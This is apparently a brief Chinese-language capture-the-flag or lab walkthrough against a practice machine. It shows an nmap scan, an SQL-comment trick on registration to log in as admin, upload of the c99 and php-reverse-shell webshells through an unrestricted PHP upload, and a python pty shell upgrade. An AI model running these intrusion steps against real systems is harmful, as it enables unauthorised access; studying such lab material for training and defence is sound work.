网络扫描探测：
╰─ nmap -p1-65535 -sV -A 10.10.202.131
22/tcp open ssh
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
可够尝试SSH爆破，发现有次数限制
web入手：
右键源码找到注册接口
注册： admin # 并且成功登录
尝试搜索框注入：

okay 登录成功，看到了上传点：
好像直接可以上传PHP文件，尝试浏览访问下
尝试访问不行，尝试c99.php OK
进行反弹shell
cd /usr/share/webshells
╰─ cp php-reverse-shell.php /root
上传访问php-reverse-shell.php反弹shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
